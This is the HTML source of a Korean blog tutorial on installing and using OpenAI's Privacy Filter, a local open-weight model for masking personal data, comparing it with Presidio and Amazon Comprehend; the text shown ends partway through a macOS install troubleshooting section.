&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;OpenAI가 2026년 4월 22일에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://openai.com/index/introducing-openai-privacy-filter/&quot;&gt;Privacy Filter&lt;/a&gt;를 공개했다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;텍스트 속 개인정보를 감지하고 마스킹하는 무료 공개 AI 모델(open-weight)이다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;노트북에서도 돌아갈 만큼 가볍고, Apache 2.0 라이선스라 상업적 용도에도 쓸 수 있다. 무엇보다 &lt;b&gt;로컬에서 돌린다&lt;/b&gt; &amp;mdash; 원문이 외부로 나가지 않는다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이번 글은 Privacy Filter를 내 프로젝트&amp;middot;문서&amp;middot;로그에 어떻게 실제로 쓸 수 있는지를 중심으로 정리한다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 래퍼 2: 본문 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&lt;!-- 목차 박스 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목차&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;Privacy Filter는 무엇이고, 왜 지금 주목하는가&lt;/li&gt;
&lt;li&gt;설치 및 시작하기 (macOS venv 오류 해결 &amp;middot; 첫 실행 모델 다운로드 포함)&lt;/li&gt;
&lt;li&gt;내 프로젝트에서 쓰는 4가지 패턴&lt;/li&gt;
&lt;li&gt;복사해서 바로 쓰는 명령어 모음&lt;/li&gt;
&lt;li&gt;성능 및 벤치마크 &amp;mdash; 무엇을 믿고, 무엇을 직접 재라&lt;/li&gt;
&lt;li&gt;제한사항 및 주의사항&lt;/li&gt;
&lt;li&gt;트러블슈팅 Q&amp;amp;A&lt;/li&gt;
&lt;li&gt;결론 &amp;mdash; 도입 결정 매트릭스&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;한 장으로 보는 Privacy Filter 위치&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;1048&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DVzLi/dJMcaiJUWhG/jLyEXYU3U7wL7CK0vnnbvK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DVzLi/dJMcaiJUWhG/jLyEXYU3U7wL7CK0vnnbvK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DVzLi/dJMcaiJUWhG/jLyEXYU3U7wL7CK0vnnbvK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDVzLi%2FdJMcaiJUWhG%2FjLyEXYU3U7wL7CK0vnnbvK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1982&quot; height=&quot;1048&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;1048&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;div style=&quot;min-width: 760px; background: #f6f9fc; border: 1px solid #c9d8e8; border-radius: 12px; padding: 20px; box-sizing: border-box;&quot; role=&quot;img&quot; aria-label=&quot;원문 데이터가 로컬 Privacy Filter를 거쳐 마스킹된 뒤 외부 LLM이나 RAG로 전달되는 구조&quot;&gt;
&lt;div style=&quot;display: flex; align-items: stretch; gap: 10px;&quot;&gt;
&lt;div style=&quot;flex: 1; background: #ffffff; border: 1px solid #b7c9dc; border-radius: 8px; padding: 14px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px; font-weight: bold; color: #1a3a52;&quot; data-ke-size=&quot;size16&quot;&gt;1. 원문 입력&lt;/p&gt;
&lt;p style=&quot;margin: 0; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;로그, 문서, PR diff, 상담 기록&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;display: flex; align-items: center; color: #1a3a52; font-weight: bold; font-size: 22px;&quot;&gt;&amp;rarr;&lt;/div&gt;
&lt;div style=&quot;flex: 1.2; background: #e8f4f8; border: 2px solid #0066cc; border-radius: 8px; padding: 14px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px; font-weight: bold; color: #1a3a52;&quot; data-ke-size=&quot;size16&quot;&gt;2. 로컬 Privacy Filter&lt;/p&gt;
&lt;p style=&quot;margin: 0; color: #333;&quot; data-ke-size=&quot;size16&quot;&gt;8개 PII 카테고리 감지, 로컬 실행&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;display: flex; align-items: center; color: #1a3a52; font-weight: bold; font-size: 22px;&quot;&gt;&amp;rarr;&lt;/div&gt;
&lt;div style=&quot;flex: 1; background: #ffffff; border: 1px solid #b7c9dc; border-radius: 8px; padding: 14px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px; font-weight: bold; color: #1a3a52;&quot; data-ke-size=&quot;size16&quot;&gt;3. 마스킹 결과&lt;/p&gt;
&lt;p style=&quot;margin: 0; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;&amp;lt;PRIVATE_EMAIL&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;SECRET&amp;gt;&lt;/code&gt; 등으로 치환&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;display: flex; align-items: center; color: #1a3a52; font-weight: bold; font-size: 22px;&quot;&gt;&amp;rarr;&lt;/div&gt;
&lt;div style=&quot;flex: 1; background: #ffffff; border: 1px solid #b7c9dc; border-radius: 8px; padding: 14px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px; font-weight: bold; color: #1a3a52;&quot; data-ke-size=&quot;size16&quot;&gt;4. 다음 단계&lt;/p&gt;
&lt;p style=&quot;margin: 0; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;LLM, RAG 인덱스, 분석 SaaS, 내부 공유&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;display: grid; grid-template-columns: 1fr 1fr 1fr; gap: 10px; margin-top: 14px;&quot;&gt;
&lt;div style=&quot;background: #fff7e6; border: 1px solid #f0c36d; border-radius: 8px; padding: 10px;&quot;&gt;
&lt;p style=&quot;margin: 0; color: #6b4b00;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;검증 1&lt;/b&gt; 모델 다운로드 이후 런타임 egress 차단&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #fff7e6; border: 1px solid #f0c36d; border-radius: 8px; padding: 10px;&quot;&gt;
&lt;p style=&quot;margin: 0; color: #6b4b00;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;검증 2&lt;/b&gt; 앱 로그&amp;middot;APM&amp;middot;오류 리포트에 원문 저장 금지&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #fff7e6; border: 1px solid #f0c36d; border-radius: 8px; padding: 10px;&quot;&gt;
&lt;p style=&quot;margin: 0; color: #6b4b00;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;검증 3&lt;/b&gt; 한국 고유 식별자는 정규식/룰과 병행&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;!-- 섹션 1 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Privacy Filter는 무엇이고, 왜 지금 주목하는가&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2012&quot; data-origin-height=&quot;1090&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uXCSW/dJMcahj1nIG/7288SpH65tW448lpCfhENK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uXCSW/dJMcahj1nIG/7288SpH65tW448lpCfhENK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uXCSW/dJMcahj1nIG/7288SpH65tW448lpCfhENK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuXCSW%2FdJMcahj1nIG%2F7288SpH65tW448lpCfhENK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2012&quot; height=&quot;1090&quot; data-origin-width=&quot;2012&quot; data-origin-height=&quot;1090&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #f5f9ff; border: 1px solid #b3d4f5; border-radius: 10px; padding: 16px 20px; margin: 0 0 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px; font-weight: bold; color: #1a3a52;&quot; data-ke-size=&quot;size16&quot;&gt;이 글은 누구를 위한 글인가&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-ke-size=&quot;size16&quot;&gt;로그&amp;middot;문서&amp;middot;코드를 LLM에 넘기기 전에 개인정보를 지우고 싶은 개발자&lt;/li&gt;
&lt;li data-ke-size=&quot;size16&quot;&gt;클라우드 PII API 없이 로컬에서 처리하고 싶은 팀&lt;/li&gt;
&lt;li data-ke-size=&quot;size16&quot;&gt;Privacy Filter가 뭔지는 알겠는데 &quot;내 프로젝트에 어떻게 쓰지?&quot;가 막히는 분&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1990&quot; data-origin-height=&quot;1090&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/34IDP/dJMcabjNH1q/qxxCbnIQipOnVpPJmAv7fk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/34IDP/dJMcabjNH1q/qxxCbnIQipOnVpPJmAv7fk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/34IDP/dJMcabjNH1q/qxxCbnIQipOnVpPJmAv7fk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F34IDP%2FdJMcabjNH1q%2FqxxCbnIQipOnVpPJmAv7fk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1990&quot; height=&quot;1090&quot; data-origin-width=&quot;1990&quot; data-origin-height=&quot;1090&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;Privacy Filter는 자연어 텍스트에서 개인정보(PII)를 감지하고 마스킹하기 위한 무료 공개 AI 모델(open-weight)이다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;OpenAI는 이 모델을 &quot;텍스트가 저장되거나 공유되거나 다음 단계로 넘기기 전에 민감 정보를 식별하고 마스킹하도록 설계됐다&quot;고 정의한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;먼저 봐야 할 건&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;로컬 실행&lt;/b&gt;이다. 한국어 공식 발표문은 &quot;로컬 환경에서 실행이 가능하여 데이터를 외부로 내보내지 않고도 개인 식별 정보를 마스킹하거나 비식별화할 수 있습니다&quot;라고 설명한다. 원문을 외부로 보내기 전에 사내 장비에서 마스킹하고, 그 결과만 다음 단계로 넘기는 구성을 염두에 둔 모델이다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1938&quot; data-origin-height=&quot;1068&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQKuGN/dJMcacQvhDy/DBltOLgrdHsEVfCtJPg6i0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQKuGN/dJMcacQvhDy/DBltOLgrdHsEVfCtJPg6i0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQKuGN/dJMcacQvhDy/DBltOLgrdHsEVfCtJPg6i0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQKuGN%2FdJMcacQvhDy%2FDBltOLgrdHsEVfCtJPg6i0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1938&quot; height=&quot;1068&quot; data-origin-width=&quot;1938&quot; data-origin-height=&quot;1068&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;또 하나는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;개방형 가중치 + Apache 2.0 라이선스&lt;/b&gt;다. 공식 문서는 실험, 커스터마이징, 상업적 배포에 쓸 수 있는 라이선스라고 안내한다. 사내 로그 정제 도구나 제품 기능에 붙일 때 라이선스 부담이 비교적 작다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;1-1. vs 대안 비교표&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;944&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RbDTd/dJMcafGt33H/mSCJlgSV3AzXmBAZT0Hu21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RbDTd/dJMcafGt33H/mSCJlgSV3AzXmBAZT0Hu21/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RbDTd/dJMcafGt33H/mSCJlgSV3AzXmBAZT0Hu21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRbDTd%2FdJMcafGt33H%2FmSCJlgSV3AzXmBAZT0Hu21%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1968&quot; height=&quot;944&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;944&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;한국 개발 현장에서 PII 마스킹을 검토하는 팀이 가장 많이 비교하는 대안은 Microsoft Presidio와 Amazon Comprehend다. The New Stack의 분석을 정리하면 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비교 전제: 2026-04-28 기준, OpenAI Privacy Filter 초기 공개 버전(2026-04-22 릴리스). 아래 표는 OpenAI의 공식 비교표가 아니라 The New Stack 분석과 각 도구의 공개 정보를 바탕으로 정리한 운영 관점 요약이다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;OpenAI Privacy Filter&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;Microsoft Presidio&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;Amazon Comprehend&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;접근 방식&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;AI 모델 (end-to-end transformer)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;규칙 + NER 기반&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;관리형 클라우드 NLP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;실행 위치&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;로컬(GPU/CPU/WebGPU)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;로컬&amp;middot;온프레미스&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;AWS 클라우드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;라이선스&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Apache 2.0&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;MIT&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;상용 (사용량 과금)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;강점&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;자연어 글, 맥락 의존 PII&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;정규 패턴(IBAN, 이메일)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;AWS 통합, 운영 편의&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;약점&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;고정 라벨 체계, 비영어&amp;middot;비라틴 성능 저하 가능&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;모호한 이름&amp;middot;복잡 맥락 한계&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;클라우드 의존&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;다국어 성숙도&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;주로 영어, 선택적 다국어 평가 보고&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;기본은 영어, 모델&amp;middot;recognizer 확장으로 다국어&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;PII 감지는 영어&amp;middot;스페인어 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;멀티모달&amp;middot;구조화 연계&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;미지원&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;별도 연계 필요&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;AWS 내 다른 서비스와 연계&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자연어 글에서 강하고, Presidio는 패턴이 뚜렷한 데이터에 더 편하다. 공식 문서를 보면 Presidio 기본 설정은 영어 중심이고, Amazon Comprehend의 PII 지원 언어도 제한적이다. 한국어 운영에서는 '다국어 지원'이라는 큰 표현보다, 실제 한국어 샘플로 재현율을 직접 재는 게 맞다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1996&quot; data-origin-height=&quot;1054&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b42zNJ/dJMcacJLVr5/o7KuaICD9HKfymBY9hdtGK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b42zNJ/dJMcacJLVr5/o7KuaICD9HKfymBY9hdtGK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b42zNJ/dJMcacJLVr5/o7KuaICD9HKfymBY9hdtGK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb42zNJ%2FdJMcacJLVr5%2Fo7KuaICD9HKfymBY9hdtGK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1996&quot; height=&quot;1054&quot; data-origin-width=&quot;1996&quot; data-origin-height=&quot;1054&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;Privacy Filter가 잡는 8가지 카테고리: &lt;b&gt;이름&lt;/b&gt;(&lt;code&gt;private_person&lt;/code&gt;) &amp;middot; &lt;b&gt;주소&lt;/b&gt;(&lt;code&gt;private_address&lt;/code&gt;) &amp;middot; &lt;b&gt;이메일&lt;/b&gt;(&lt;code&gt;private_email&lt;/code&gt;) &amp;middot; &lt;b&gt;전화번호&lt;/b&gt;(&lt;code&gt;private_phone&lt;/code&gt;) &amp;middot; &lt;b&gt;URL&lt;/b&gt;(&lt;code&gt;private_url&lt;/code&gt;) &amp;middot; &lt;b&gt;날짜&lt;/b&gt;(&lt;code&gt;private_date&lt;/code&gt;) &amp;middot; &lt;b&gt;계정번호&lt;/b&gt;(&lt;code&gt;account_number&lt;/code&gt;) &amp;middot; &lt;b&gt;비밀번호&amp;middot;API 키&lt;/b&gt;(&lt;code&gt;secret&lt;/code&gt;). (출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/openai/privacy-filter&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub README&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f7ff; border: 2px solid #b3d4f5; border-radius: 8px; padding: 12px 16px; margin: 25px 0;&quot;&gt;
&lt;p style=&quot;margin: 0; font-weight: 600; color: #1a3a52;&quot; data-ke-size=&quot;size16&quot;&gt;한 줄 정리: 로컬 실행 + Apache 2.0 + 8개 PII 카테고리. 핵심은 &quot;원문이 외부로 나가지 않는다&quot;는 점이다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 섹션 2 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 설치 및 시작하기&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저장소를 체크아웃한 뒤 PoC를 띄우는 과정은 단순한 편이다.&lt;/p&gt;
&lt;pre class=&quot;vim&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;git clone https://github.com/openai/privacy-filter.git
cd privacy-filter
pip install -e .&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1946&quot; data-origin-height=&quot;1070&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cXgawT/dJMcai4cxL5/d6mcYkgoQE53kkyzf1njxK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cXgawT/dJMcai4cxL5/d6mcYkgoQE53kkyzf1njxK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cXgawT/dJMcai4cxL5/d6mcYkgoQE53kkyzf1njxK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcXgawT%2FdJMcai4cxL5%2Fd6mcYkgoQE53kkyzf1njxK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1946&quot; height=&quot;1070&quot; data-origin-width=&quot;1946&quot; data-origin-height=&quot;1070&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2-1. macOS에서 pip 오류가 나는 경우 &amp;mdash; venv로 해결&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;macOS + Homebrew Python 조합인 경우 위 pip 명령이 막혔다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1384&quot; data-origin-height=&quot;1210&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WdFlu/dJMcafGt2Ao/CWKk4KDz5kQAET2uiBOwT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WdFlu/dJMcafGt2Ao/CWKk4KDz5kQAET2uiBOwT0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WdFlu/dJMcafGt2Ao/CWKk4KDz5kQAET2uiBOwT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWdFlu%2FdJMcafGt2Ao%2FCWKk4KDz5kQAET2uiBOwT0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 